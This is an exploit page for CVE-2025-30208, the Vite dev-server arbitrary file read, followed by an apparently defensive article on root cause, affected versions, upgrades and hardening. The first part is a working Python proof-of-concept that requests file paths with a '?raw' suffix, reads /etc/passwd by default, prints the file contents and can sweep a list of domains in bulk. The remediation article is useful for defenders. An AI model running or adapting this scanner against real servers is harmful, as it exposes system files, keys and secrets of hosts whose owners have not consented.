Vite 6.2.2 - Arbitrary File Read
# Exploit Title: Vite Arbitrary File Read - CVE-2025-30208
# Date: 2025-04-03
# Exploit Author: Sheikh Mohammad Hasan (https://github.com/4m3rr0r)
# Vendor Homepage: https://vitejs.dev/
# Software Link: https://github.com/vitejs/vite
# Version: <= 6.2.2, <= 6.1.1, <= 6.0.11, <= 5.4.14, <= 4.5.9
# Tested on: Ubuntu
# Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-30208
# https://github.com/advisories/GHSA-x574-m823-4x7w
# CVE : CVE-2025-30208
"""
################
# Description #
################
Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using `--host` or `server.host` config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.
"""
import requests
import argparse
import urllib3
from colorama import Fore, Style
# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def check_vulnerability(target, file_path, verbose=False, output=None):
url = f"{target}{file_path}?raw"
print(f"{Fore.CYAN}[*] Testing: {url}{Style.RESET_ALL}")
try:
response = requests.get(url, timeout=5, verify=False) # Ignore SSL verification
if response.status_code == 200 and response.text:
vuln_message = f"{Fore.GREEN}[+] Vulnerable : {url}{Style.RESET_ALL}"
print(vuln_message)
if verbose:
print(f"\n{Fore.YELLOW}--- File Content Start ---{Style.RESET_ALL}")
print(response.text[:500]) # Print first 500 characters for safety
print(f"{Fore.YELLOW}--- File Content End ---{Style.RESET_ALL}\n")
if output:
with open(output, 'a') as f:
f.write(f"{url}\n")
else:
print(f"{Fore.RED}[-] Not vulnerable or file does not exist: {url}{Style.RESET_ALL}")
except requests.exceptions.RequestException as e:
print(f"{Fore.YELLOW}[!] Error testing {url}: {e}{Style.RESET_ALL}")
def check_multiple_domains(file_path, file_to_read, verbose, output):
try:
with open(file_to_read, 'r') as file:
domains = file.readlines()
for domain in domains:
domain = domain.strip()
if domain:
check_vulnerability(domain, file_path, verbose, output)
except FileNotFoundError:
print(f"{Fore.RED}[!] Error: The file '{file_to_read}' does not exist.{Style.RESET_ALL}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="PoC for CVE-2025-30208 - Vite Arbitrary File Read")
parser.add_argument("target", nargs="?", help="Target URL (e.g., http://localhost:5173)")
parser.add_argument("-l", "--list", help="File containing list of domains")
parser.add_argument("-f", "--file", default="/etc/passwd", help="File path to read (default: /etc/passwd)")
parser.add_argument("-v", "--verbose", action="store_true", help="Show file content if vulnerable")
parser.add_argument("-o", "--output", help="Output file to save vulnerable URLs")
args = parser.parse_args()
if args.list:
check_multiple_domains(args.file, args.list, args.verbose, args.output)
elif args.target:
check_vulnerability(args.target, args.file, verbose=args.verbose, output=args.output)
else:
print(f"{Fore.RED}Please provide a target URL or a domain list file.{Style.RESET_ALL}") Vite Arbitrary File Read (CVE-2025-30208) — Analysis, Impact, and Remediation
This article explains the Vite arbitrary file read vulnerability disclosed in 2025 (CVE-2025-30208 / GHSA-x574-m823-4x7w). It covers what went wrong, which versions are affected, the real-world impact, safe detection approaches, and recommended fixes and hardening steps developers and operations teams should apply.
Executive summary
Some Vite dev-server releases prior to the fixed versions allowed crafted requests to bypass the server filesystem allowlist, potentially returning files from the host filesystem when the dev server was explicitly exposed to a network interface. Only projects that intentionally exposed the Vite development server to external networks (for example using server.host or equivalent) were affected. Production builds are not impacted.
At-a-glance: affected and fixed versions
| Major version | Affected up to | Fixed in |
|---|---|---|
| 6.x | ≤ 6.2.2 | 6.2.3 |
| 6.1 | ≤ 6.1.1 | 6.1.2 |
| 6.0 | ≤ 6.0.11 | 6.0.12 |
| 5.x | ≤ 5.4.14 | 5.4.15 |
| 4.x | ≤ 4.5.9 | 4.5.10 |
Root cause (high level)
- Vite's dev server enforces a filesystem allowlist (fs.allow) for special internal URL handlers. The bug was in query string parsing and related path-checking logic.
- In some code paths, trailing separators or unusual query encodings were removed or normalized in one place but not accounted for by regular expressions used to validate requests. That mismatch caused some requests to bypass the allowlist checks and return file contents that should have been blocked.
- The vulnerability requires a Vite dev server that is reachable over the network (i.e., not bound to localhost). Local-only dev servers are not exposed to remote attackers by default.
Impact and risk
- Confidential file disclosure: An attacker able to reach an exposed dev server could obtain arbitrary file contents readable by the dev server process (for example configuration secrets, SSH keys if present, environment files, etc.).
- Scope is limited to development servers explicitly network-exposed; typical production deployments that serve built assets are not affected.
- High severity for internet-facing developer machines, CI runners, or internal hosts where dev servers are accessible from broader networks.
Safe detection and indicators
You should avoid actively exploiting servers to verify vulnerability. Instead, use passive and safe checks and inventory methods:
- Inventory dependencies: scan your codebases and Docker images for vulnerable Vite versions. Use package managers' audit/outdated features or SCA tools.
- Check package manifests: inspect package.json / lockfiles to find the Vite version used by local development and CI images.
- Log review: look for unusual GET requests to dev-server endpoints or requests with unexpected querystring patterns in development HTTP logs. These may indicate scanning or exploitation attempts.
- Network exposure check: confirm whether dev servers are bound to localhost or to a broader interface. Hosts with server.host configured to 0.0.0.0 or a public-facing address increase risk.
Example: safe script to check a local project's Vite version
// check-vite-version.js
// Requires Node.js. This script reads package.json and reports vite version.
const fs = require('fs');
const path = require('path');
function getViteVersion(projectDir = process.cwd()) {
const pkgPath = path.join(projectDir, 'package.json');
if (!fs.existsSync(pkgPath)) {
console.error('package.json not found in', projectDir);
process.exit(1);
}
const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
return (pkg.devDependencies && pkg.devDependencies.vite) ||
(pkg.dependencies && pkg.dependencies.vite) ||
null;
}
console.log('Vite version specifier:', getViteVersion());
Explanation: This Node.js script safely reads the local package.json and prints the version specifier for Vite used by the project. It does not make network requests or attempt to exploit any server. Use it to quickly identify projects that may need updating.
Mitigation and remediation
Apply the fixes below as soon as possible. Prefer updating to the fixed Vite release for your major version:
- Upgrade Vite to a fixed version (see the table above for specific release numbers).
- If you cannot upgrade immediately, ensure dev servers are bound to localhost only and are not reachable from untrusted networks.
- Enforce network controls: firewall rules, VPN-only access, or port-blocking for development ports in CI and on developer machines.
- Add runtime controls such as authentication or reverse proxies that restrict access to dev servers if remote exposure is needed.
How to upgrade safely (examples)
Update your package manifest and lockfile, then rebuild images or redeploy environments that run dev servers.
# Using npm
npm install --save-dev vite@^6.2.3
# Using yarn
yarn add -D vite@^6.2.3
# Using pnpm
pnpm add -D vite@^6.2.3
Explanation: These package manager commands update Vite to at least the fixed 6.2.3 version (or compatible newer releases). Choose the fixed version appropriate to your major version (6.2.3, 6.1.2, 6.0.12, 5.4.15, 4.5.10). After updating dependencies, recreate CI containers and redeploy any developer images.
Vite configuration hardening (recommended)
Reduce exposure of dev-server functionality and tighten filesystem allowlist settings.
// vite.config.js (Node / CommonJS)
const path = require('path');
module.exports = {
server: {
// Bind to localhost by default
host: '127.0.0.1',
port: 5173,
// Only allow specific directories for dev server file access
fs: {
allow: [path.resolve(__dirname, 'src'), path.resolve(__dirname, 'public')]
}
}
};
Explanation: This configuration binds the Vite dev server to localhost (preventing remote access) and explicitly restricts fs access to the project's src and public directories. These measures minimize the risk surface if code contains further parsing bugs.
Operational recommendations
- CI and build runners: ensure dev servers are not started on public runners or use ephemeral environments inaccessible to untrusted networks.
- Secrets handling: never store production secrets or SSH keys in developer environment directories that could be read by dev processes.
- Network controls: firewall or cloud security group rules should block development ports from public internet unless strictly required and protected.
- Monitoring: add alerts for unusual requests to dev servers and monitor for connections to development ports from unfamiliar IPs.
- WAF rules: if possible, create rules to block or rate-limit suspicious dev-server query patterns at the edge (careful to avoid false positives).
Detection, scanning and proof-of-fix
After applying updates, verify remediation by:
- Confirming package.json/lockfiles reflect fixed versions and that containers or VMs are rebuilt.
- Re-running dependency scanners and SCA tools which should no longer flag the vulnerability.
- Checking that dev servers are not bound to public interfaces; prefer 127.0.0.1 or explicit internal-only IPs.
Why production builds are not affected
The vulnerability pertains to the Vite development server's runtime handlers. Production workflows typically produce static bundles via "vite build" and serve them with a traditional web server; those built artifacts do not include the dev-server handlers responsible for this issue. Nevertheless, ensure CI/preview environments and developer hosts are updated.
References and disclosure
- Official advisory and patch releases are available from the Vite project and related CVE/GHSA entries.
- Follow your organization’s vulnerability response process: inventory affected projects, prioritize internet-facing hosts, patch, and verify.
Summary
CVE-2025-30208 is a serious developer-environment information disclosure vulnerability that is mitigated primarily by updating Vite to the patched releases and by avoiding exposing dev servers to untrusted networks. Apply the fixes, harden dev-server bindings and filesystem allowances, and treat developer hosts with the same network hygiene as other infrastructure.